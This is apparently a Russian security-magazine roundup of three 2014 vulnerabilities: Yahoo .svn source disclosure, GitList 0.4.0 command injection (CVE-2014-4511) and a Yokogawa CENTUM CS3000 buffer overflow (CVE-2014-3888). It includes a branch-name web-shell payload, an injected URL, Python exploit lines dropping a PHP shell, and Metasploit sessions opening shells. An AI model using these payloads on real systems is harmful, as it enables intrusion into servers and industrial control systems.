Содержание статьи
Раскрытие исходного кода на одном из доменов Yahoo
CVSSv2: N/A
Дата релиза: 11 июля 2014 года
Автор: zigoo0
CVE: N/A
Один из исследователей под именем zigoo0 решил проверить поддомены Yahoo! на наличие SVN-директорий. Это .-папки, которые используются для контроля версий больших проектов системой Subversion. Хранятся они и на боевом веб‑сервере. Обычно SVN-пути имеют следующий вид:
https://android.googlesource.com/platform/external/mp4parser/+/dd9eb897ee7c7b507cbdcf80263bb4b5de6966bf/isoparser/src/main/java/com/coremedia/iso/boxes/apple/.svn/entries
EXPLOIT
Нужный домен был найден, и после добавления Entries
был получен список и тип файлов этого сервиса. Ты можешь увидеть его на скриншоте.
https://tw.user.mall.yahoo.com/prostore/.svn/entries
Эта информация уже открывала доступ к различным интересным сценариям атак. Например, позволяла найти скрытую административную панель, которую обычными средствами типа брутфорса с большой вероятностью не найти. Но при дальнейшем анализе были найдены HTML-файлы, которые назывались так же, как и PHP-скрипты, и в которых находились исходники тех самых скриптов. Пример одного из файлов представлен на скриншоте.
https://tw.user.mall.yahoo.com/prostore/ywa/ywa_generic_template.html
Zigoo0 написал POC-скрипт на Python для парсинга таких файлов и смог не просто найти административную панель, но и получить доступ к ней, используя найденную информацию.
В итоге автор зарепортил две уязвимости:
- раскрытие исходного кода;
- получение прав администратора.
После этого команда Yahoo объединила их в один отчет и присудила награду в 250 долларов :). Увы, пока что Bug bounty выплаты от Yahoo не сравнятся с Google и Yandex, но будем надеяться, что все изменится в лучшую для белых шляп сторону.
Для подобных забытых файлов есть программа от одного из авторов нашего журнала Дмитрия Бумова в его блоге. Многие текстовые редакторы оставляют старые версии изменяемого файла, что в итоге позволяет прочитать PHP-файл как текстовый, так как его расширение становится, например, вида wp-config.
. Данная же небольшая программа позволяет автоматизировать поиск таких файлов и имеет список файлов с настройками для различных CMS.
TARGETS
- Домен
tw.
.user. mall. yahoo. com
SOLUTION
Есть исправление от производителя.
Удаленное выполнение произвольного кода в Gitlist 0.4.0
CVSSv2: N/A
Дата релиза: 30 июня 2014 года
Автор: drone
CVE: 2014-4511
GitList является очень неплохим просмотрщиком для Git-репозиториев с открытым исходным кодом. Написан он на PHP.
Как пишет автор найденной уязвимости, он использовал GitList в качестве своего маленького GitHub’а без лишнего функционала типа социальной сети или других красивых фишек. А на поиск различных багов в приложении его натолкнула одна из ошибок:
Oops! sh: 1: Syntax error: EOF in backquote substitution
Авторы GitList скоро ее поправили, но, как оказалось, не до конца. После фикса бага стала проявляться временами, что и вдохновило исследователя на поиски. После ресерча было найдено несколько багов, но речь пойдет об одном, самом интересном, — удаленном выполнение кода.
Об уязвимости было сообщено разработчикам, после чего ей присвоили номер CVE-2014-4511. Но мы рассмотрим не только ее, но еще и другую ошибку, правда, для нее требуется доступ к внесению изменению в репозиторий.
EXPLOIT
Первая бага была найдена в библиотеке, которая используется GitList, — Gitter. Gitter позволяет разработчикам взаимодействовать с Git-репозиториями с помощью объектно‑ориентированного программирования. Один из запросов использует данные извне:
$hash = $this->getClient()->run($this, "log --pretty="%T" --max-count=1 $branch");```
Эта строчка находится в файле Repository.
библиотеки Gitter и вызывается из TreeController.
в самом GitList. Как ты мог заметить, переменная $branch
никак не обрабатывается. Это означает, что любой, у кого есть доступ к внесению изменений в репозиторий, может создать вредоносную ветку (локально или удаленно) и выполнить произвольные команды на сервере.
Но не все так радужно, сам Git имеет несколько ограничений при именовании веток. Все они расписаны и проверяются в файле ref.c. Ветка не может:
- Начинаться с .
- Содержать двойную точку (..)
- Содержать ASCII управляющие символы, такие как ?, [, ], ~, ^, :, \
- Заканчиваться /
- Заканчиваться .lock
- Содержать обратную косую черту
- Содержать пробелы
Запоминаем эти ограничения и пытаемся создать полезную нагрузку. Если кому интересно, то эти правила идут с 33-й строчки в упомянутом файле.
Так как GitList написан на PHP, то попытаемся закинуть на сервер веб‑шелл. Но для начала найдем подходящую директорию для этого. Одно из требований при установке GitList в файле Install.
гласит:
cd /var/www/gitlist
mkdir cache
chmod 777 cache
Это как раз то, что нам нужно. Теперь у нас имеется надежная директория, да еще и с правами 777, доступная через сеть (/
). Вторым шагом нужно будет создать полезную нагрузку, руководствуясь описанными ограничениями. В итоге получается примерно следующее:
git checkout -b "|echo\$IFS"PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg=="|base64\$IFS-d>/var/www/gitlist/cache/x"
Чтобы вставить PHP-код, нам требуется заключить его в <
и ?>
, поэтому, чтобы обойти ограничения, требуется наш код закодировать. Для обратного декодирования мы используем *nix-переменную окружения $IFS
.
Правда, некоторые скажут: если у тебя есть доступ к внесению изменений в репозиторий, то это уже победа. Но, как пишет автор, встречаются случаи, когда commit не значит доступ к шеллу.
Зато следующая уязвимость позволяет уже выполнить произвольный код любому пользователю без особых прав. Опять же все было связано с переменной $branch
:
$blames = $repository->getBlame("$branch -- "$file"");
Как видишь, снова нет никакой обработки входящей переменной, поэтому автор попробовал повставлять специальные символы:
http://localhost/gitlist/my_repo.git/blame/master/""`whoami`
После нескольких попыток разных векторов атак были получены результаты, представленные на рисунках.
Как видишь, любой запрос в итоге превращался в выполнение произвольного кода.
Далее был написан эксплойт на Python, основу которого составляли следующие строки:
path = "/var/www/gitlist/cache" # Стандартный путьpayload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo=" # Base64-представление мини-шелла <?system($_GET['cmd']);?># Создание атакующего URL-запросаmpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)mpath = url+ urllib.quote(mpath)out = getoutput("wget %s" % mpath)
То есть нам нужен путь до папки с кешем от GitList или любой другой с правами 777
и полезный код, закодированный в Base64. Ну и отправить полученный запрос. После чего можно выполнить команду и проверить, работает ли все:
http://localhost/gitlist/cache/x.php?cmd=ls
Полный скрипт от автора можно скачать из базы эксплойтов.
Запустим его на тестовом стенде:
root@kali:~/# python gitlist_rce.py http://localhost/gitlist/graymatter
[!] Using cache location /var/www/gitlist/cache
[!] Shell dropped; go hit http://localhost/gitlist/cache/x.php?cmd=lsroot@kali:~/# curl http://localhost/gitlist/cache/x.php?cmd=iduid=33(www-data) gid=33(www-data) groups=33(www-data)
Или можно воспользоваться Metasploit-модулем:
msf > use exploit/linux/http/gitlist_exec
msf exploit(gitlist_rce) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.81.6:4444
[*] Injecting payload...
[*] Executing payload..
[*] Sending stage (39848 bytes) to 192.168.81.67
[*] Meterpreter session 9 opened (192.168.81.6:4444 -> 192.168.81.67:34241) at 2014-07-10 1:32:01 +0300 meterpreter >
TARGETS
- GitList <= 0.4.0.
SOLUTION
Есть исправление от производителя.
Переполнение буфера BKFSim_vhfd.exe в Yokogawa CS3000
CVSSv2: 8.3 (Av:R/Ac:M/A:N/C:P/I:P/A:C)
Дата релиза: 7 мая 2014 года
Автор: Redsadic, Juan Vazquez
CVE: 2014-3888
Рассмотрим интересную уязвимость, которая была наконец‑то опубликована авторами с рабочим эксплойтом. О своем исследовании линейки продуктов Yokogawa CENTUM CS3000 авторы рассказывали на RootedCON, но эксплойты публиковали не сразу. Yokogawa выпустили CENTUM CS 3000 R3 в 1998 году, и это была первая на базе Windows система управления производством под этим брендом.
В своей работе Yokogawa Centum CS3000 использует различные сервисы для поддержания всех нужных функций. В одном из них и была найдена уязвимость.
Сервис BKFSim_vhfd.
служит для дополнительного виртуального тестирования. Он запускается при исполнении FCS /
и по умолчанию начинает слушать порт 20010 (TCP и UDP). Как только все работает, мы можем отправить специально созданный пакет на UDP-порт 20010 и вызвать переполнение стека, что в дальнейшем позволяет нам выполнить произвольный код в системе с правами пользователя CENTUM.
Сама ошибка находится в функции sub_403E10
(IDA помечает ее таким образом автоматически), которая используется для логирования целей, которые, в свою очередь, будет использовать сервис BKFSim_vhfd.
. Данная функция составляет строки в логах, используя строчки определенного формата и данные, полученные от пользователя (в некоторых случаях испорченные ;)). В итоге мы имеем довольно опасную функцию, но при этом размер буфера стека прописан константой.
Найдем два уязвимых указателя в нашей функции, которые позволяют повредить два буфера стека после того, как будут созданы строки в логах с контролируемыми пользователем данными:
BOOL sub_403E10(BOOL a1, const char *Format, ...){ unsigned int v2; // ecx@1
BOOL result; // eax@1
unsigned int v4; // ebx@7
void *v5; // edi@7
HANDLE v6; // edx@7
unsigned int v7; // ecx@7
struct _SYSTEMTIME SystemTime; // [sp+0h] [bp-220h]@7
DWORD NumberOfBytesWritten; // [sp+14h] [bp-20Ch]@7
char Buffer[260]; // [sp+18h] [bp-208h]@7 // Overflow 2
char Dest[260]; // [sp+11Ch] [bp-104h]@4 // Overflow 1
va_list va; // [sp+22Ch] [bp+Ch]@1
va_start(va, Format); HIWORD(v2) = 0; *((_WORD *)lpBaseAddress + 192) = 61; result = a1; LOWORD(v2) = *((_WORD *)lpBaseAddress + 177); if ( v2 >= a1 && Format && hObject != (HANDLE)-1 ) { memset(Dest, 0, 0x100u); Dest[256] = 0; if ( strlen(Format) < 0x100 ) vsprintf(Dest, Format, va); // Переполнение буфера 1: Опасно использовать функцию vsprintf для копирования данных в стек
else sprintf(Dest, "data size too big (>= %i)", 256); GetLocalTime(&SystemTime); sprintf( &Buffer,
"%02d/%02d/%02d %02d:%02d:%02d:%03d::sim_vhfd",
SystemTime.wYear % 100,
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond,
SystemTime.wMilliseconds); v4 = strlen(Dest) + 1; v5 = &Buffer + strlen(&Buffer); // v5 указывает внутрь переменной Buffer, после логирования заголовка
memcpy(v5, Dest, 4 * (v4 >> 2)); // Переполнение буфера 2: Опасно использовать функцию memcpy для копирования данных в стек
v6 = hObject; memcpy((char *)v5 + 4 * (v4 >> 2), &Dest[4 * (v4 >> 2)], v4 & 3); v7 = strlen(&Buffer); *(&Buffer + v7) = 13; Buffer[v7 - 1] = 10; WriteFile(v6, &Buffer, v7 + 2, &NumberOfBytesWritten, 0); result = FlushFileBuffers(hObject); *((_WORD *)lpBaseAddress + 192) = 62; } return result;}
Отправка специальным образом созданных данных на UDP-порт 20010 с большой вероятностью вызовет уязвимую функцию и использует контролируемые данные, размер которых переполнит буфер стека.
Для демонстрации уязвимости возьмем вредоносный пакет. Эти пакеты представляют собой обмен между различными HIS-станциями и FCS-симулятором.
Наши пакеты должны соответствовать следующим требованиям:
- Первые 16 байт — это заголовок (header):
- на смещении 6 — два байта с идентификатором пакета,
- смещение 15 — один байт с длиной пакета.
- Последние 4 байта — «хвост» (trail).
- Байты между — обмен данными (идентификатор HIS в нашем случае).
То есть получаем следующую структуру пакета, представленную на рисунке, где:
- команда/операция — синий цвет;
- длина пакета — оранжевый цвет;
- данные (идентификатор HIS) — красный цвет.
Когда программа получит пакет, попытаемся создать строку в логе следующего формата:
"ERROR:HealthFromUDP():GetHostTblPosByName(hostname=%s) rtnno=%d"
Воспользуемся идентификатором HIS для того, чтобы подставить значение в переменную hostname
. Это и приведет к описанному выше переполнению буфера.
EXPLOIT
Для успешной атаки нам нужно отправить пакет с длинным идентификатором HIS в поле данных, длины которого хватит, чтобы переписать значение EIP-регистра, сохраненного в стеке (по факту он перепишется дважды), и получить выполнение произвольного кода.
В качестве эксплойта воспользуемся Metasploit-модулем. Тестирование проводили на стенде с Windows XP SP3 и Yokogawa Centum CS3000 R3.08.50:
msf > use exploit/windows/scada/yokogawa_bkfsim_vhfd
msf exploit(yokogawa_bkfsim_vhfd) > set RHOST 192.168.81.63
RHOST => 192.168.81.63
msf exploit(yokogawa_bkfsim_vhfd) > rexploit
[*] Reloading module...
[*] Started bind handler
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3 (English), sending 789 bytes...
[*] Sending stage (769024 bytes) to 192.168.81.63
[*] Meterpreter session 1 opened (192.168.81.1:58714 -> 192.168.81.63:4444) at 2014-07-15 22:13:41 +0300 meterpreter >
Эта уязвимость была последней в ряду неприятных багов этого ПО. Перед этим наши авторы уже публиковали несколько уязвимостей для CENTUM, но только в других сервисах. Для них также были написаны Metasploit-модули:
- CVE-2014-0781 в
BKCLogSvr.
. Здесь нужно было отправить специальный пакет на UDP-порт 52302exe - CVE-2014-0783 в
BKHOdeq.
. Отправка атакующего пакета на TCP-порт 20171exe - CVE-2014-0784 в
BKBCopyD.
. Ну и отправляем вредоносный пакет на TCP-порт 20111exe
TARGETS
- Yokogawa CENTUM CS 3000 R2.23.00;
- Yokogawa CENTUM VP R4.03.00;
- Yokogawa CENTUM CS 3000 Small R3.09.50;
- Yokogawa CENTUM VP Small R5.03.20;
- Yokogawa CENTUM VP Basic R5.03.20.
SOLUTION
Есть исправление от производителя.